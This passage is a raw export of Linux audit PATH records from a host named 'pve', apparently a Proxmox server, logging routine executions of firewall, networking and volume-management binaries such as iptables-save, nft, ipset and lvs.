name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065460,"@rawstring":"node=pve type=PATH msg=audit(1781965065.460:63927): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065460,"@rawstring":"node=pve type=PATH msg=audit(1781965065.460:63927): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965064940,"@rawstring":"node=pve type=PATH msg=audit(1781965064.940:63926): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965064940,"@rawstring":"node=pve type=PATH msg=audit(1781965064.940:63926): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965064911,"@rawstring":"node=pve type=PATH msg=audit(1781965064.911:63925): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965064911,"@rawstring":"node=pve type=PATH msg=audit(1781965064.911:63925): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965061653,"@rawstring":"node=pve type=PATH msg=audit(1781965061.653:63924): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965061653,"@rawstring":"node=pve type=PATH msg=audit(1781965061.653:63924): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965061653,"@rawstring":"node=pve type=PATH msg=audit(1781965061.653:63923): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965061653,"@rawstring":"node=pve type=PATH msg=audit(1781965061.653:63922): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965061646,"@rawstring":"node=pve type=PATH msg=audit(1781965061.646:63921): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965061646,"@rawstring":"node=pve type=PATH msg=audit(1781965061.646:63921): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965061646,"@rawstring":"node=pve type=PATH msg=audit(1781965061.646:63920): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965061646,"@rawstring":"node=pve type=PATH msg=audit(1781965061.646:63919): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965060112,"@rawstring":"node=pve type=PATH msg=audit(1781965060.112:63918): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965060112,"@rawstring":"node=pve type=PATH msg=audit(1781965060.112:63918): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965060112,"@rawstring":"node=pve type=PATH msg=audit(1781965060.112:63917): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965060112,"@rawstring":"node=pve type=PATH msg=audit(1781965060.112:63917): item=0 name=\"/usr/bin/ps\" inode=260869 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965060110,"@rawstring":"node=pve type=PATH msg=audit(1781965060.110:63916): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965060110,"@rawstring":"node=pve type=PATH msg=audit(1781965060.110:63916): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965056639,"@rawstring":"node=pve type=PATH msg=audit(1781965056.639:63915): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965056639,"@rawstring":"node=pve type=PATH msg=audit(1781965056.639:63915): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965056639,"@rawstring":"node=pve type=PATH msg=audit(1781965056.639:63914): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965056639,"@rawstring":"node=pve type=PATH msg=audit(1781965056.639:63913): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965056631,"@rawstring":"node=pve type=PATH msg=audit(1781965056.631:63912): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965056631,"@rawstring":"node=pve type=PATH msg=audit(1781965056.631:63912): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965056631,"@rawstring":"node=pve type=PATH msg=audit(1781965056.631:63911): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965056629,"@rawstring":"node=pve type=PATH msg=audit(1781965056.629:63910): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055442,"@rawstring":"node=pve type=PATH msg=audit(1781965055.442:63909): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055442,"@rawstring":"node=pve type=PATH msg=audit(1781965055.442:63909): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055435,"@rawstring":"node=pve type=PATH msg=audit(1781965055.435:63908): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055435,"@rawstring":"node=pve type=PATH msg=audit(1781965055.435:63908): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055434,"@rawstring":"node=pve type=PATH msg=audit(1781965055.434:63907): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055434,"@rawstring":"node=pve type=PATH msg=audit(1781965055.434:63907): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055433,"@rawstring":"node=pve type=PATH msg=audit(1781965055.433:63906): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055426,"@rawstring":"node=pve type=PATH msg=audit(1781965055.426:63905): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055426,"@rawstring":"node=pve type=PATH msg=audit(1781965055.426:63905): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055426,"@rawstring":"node=pve type=PATH msg=audit(1781965055.426:63905): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055414,"@rawstring":"node=pve type=PATH msg=audit(1781965055.414:63904): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055414,"@rawstring":"node=pve type=PATH msg=audit(1781965055.414:63904): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055405,"@rawstring":"node=pve type=PATH msg=audit(1781965055.405:63903): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055405,"@rawstring":"node=pve type=PATH msg=audit(1781965055.405:63903): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055390,"@rawstring":"node=pve type=PATH msg=audit(1781965055.390:63902): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055390,"@rawstring":"node=pve type=PATH msg=audit(1781965055.390:63902): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055380,"@rawstring":"node=pve type=PATH msg=audit(1781965055.380:63901): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055380,"@rawstring":"node=pve type=PATH msg=audit(1781965055.380:63901): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055370,"@rawstring":"node=pve type=PATH msg=audit(1781965055.370:63899): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055370,"@rawstring":"node=pve type=PATH msg=audit(1781965055.370:63899): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055363,"@rawstring":"node=pve type=PATH msg=audit(1781965055.363:63898): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055363,"@rawstring":"node=pve type=PATH msg=audit(1781965055.363:63898): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055353,"@rawstring":"node=pve type=PATH msg=audit(1781965055.353:63897): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055353,"@rawstring":"node=pve type=PATH msg=audit(1781965055.353:63897): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055344,"@rawstring":"node=pve type=PATH msg=audit(1781965055.344:63896): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055344,"@rawstring":"node=pve type=PATH msg=audit(1781965055.344:63896): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055334,"@rawstring":"node=pve type=PATH msg=audit(1781965055.334:63895): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055334,"@rawstring":"node=pve type=PATH msg=audit(1781965055.334:63895): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055326,"@rawstring":"node=pve type=PATH msg=audit(1781965055.326:63894): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055326,"@rawstring":"node=pve type=PATH msg=audit(1781965055.326:63894): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055316,"@rawstring":"node=pve type=PATH msg=audit(1781965055.316:63893): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055316,"@rawstring":"node=pve type=PATH msg=audit(1781965055.316:63893): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055309,"@rawstring":"node=pve type=PATH msg=audit(1781965055.309:63892): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055309,"@rawstring":"node=pve type=PATH msg=audit(1781965055.309:63892): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055303,"@rawstring":"node=pve type=PATH msg=audit(1781965055.303:63891): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055303,"@rawstring":"node=pve type=PATH msg=audit(1781965055.303:63891): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055296,"@rawstring":"node=pve type=PATH msg=audit(1781965055.296:63890): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055296,"@rawstring":"node=pve type=PATH msg=audit(1781965055.296:63890): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055295,"@rawstring":"node=pve type=PATH msg=audit(1781965055.295:63889): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055295,"@rawstring":"node=pve type=PATH msg=audit(1781965055.295:63889): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055294,"@rawstring":"node=pve type=PATH msg=audit(1781965055.294:63888): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055286,"@rawstring":"node=pve type=PATH msg=audit(1781965055.286:63887): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055286,"@rawstring":"node=pve type=PATH msg=audit(1781965055.286:63887): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055286,"@rawstring":"node=pve type=PATH msg=audit(1781965055.286:63887): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055269,"@rawstring":"node=pve type=PATH msg=audit(1781965055.269:63886): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055269,"@rawstring":"node=pve type=PATH msg=audit(1781965055.269:63886): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055235,"@rawstring":"node=pve type=PATH msg=audit(1781965055.235:63885): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055235,"@rawstring":"node=pve type=PATH msg=audit(1781965055.235:63885): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055228,"@rawstring":"node=pve type=PATH msg=audit(1781965055.228:63884): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055228,"@rawstring":"node=pve type=PATH msg=audit(1781965055.228:63884): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055215,"@rawstring":"node=pve type=PATH msg=audit(1781965055.215:63883): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055215,"@rawstring":"node=pve type=PATH msg=audit(1781965055.215:63883): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055196,"@rawstring":"node=pve type=PATH msg=audit(1781965055.196:63882): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055196,"@rawstring":"node=pve type=PATH msg=audit(1781965055.196:63882): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965054757,"@rawstring":"node=pve type=PATH msg=audit(1781965054.757:63881): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965054757,"@rawstring":"node=pve type=PATH msg=audit(1781965054.757:63881): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965054703,"@rawstring":"node=pve type=PATH msg=audit(1781965054.703:63880): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965054703,"@rawstring":"node=pve type=PATH msg=audit(1781965054.703:63880): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053504,"@rawstring":"node=pve type=PATH msg=audit(1781965053.504:63879): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053504,"@rawstring":"node=pve type=PATH msg=audit(1781965053.504:63879): item=0 name=\"/bin/zstd\" inode=312191 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053504,"@rawstring":"node=pve type=PATH msg=audit(1781965053.504:63878): item=0 name=\"/sbin/zstd\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053377,"@rawstring":"node=pve type=PATH msg=audit(1781965053.377:63877): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053377,"@rawstring":"node=pve type=PATH msg=audit(1781965053.377:63877): item=0 name=\"/sbin/tc\" inode=265450 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053374,"@rawstring":"node=pve type=PATH msg=audit(1781965053.374:63876): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053374,"@rawstring":"node=pve type=PATH msg=audit(1781965053.374:63876): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053351,"@rawstring":"node=pve type=PATH msg=audit(1781965053.351:63875): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053351,"@rawstring":"node=pve type=PATH 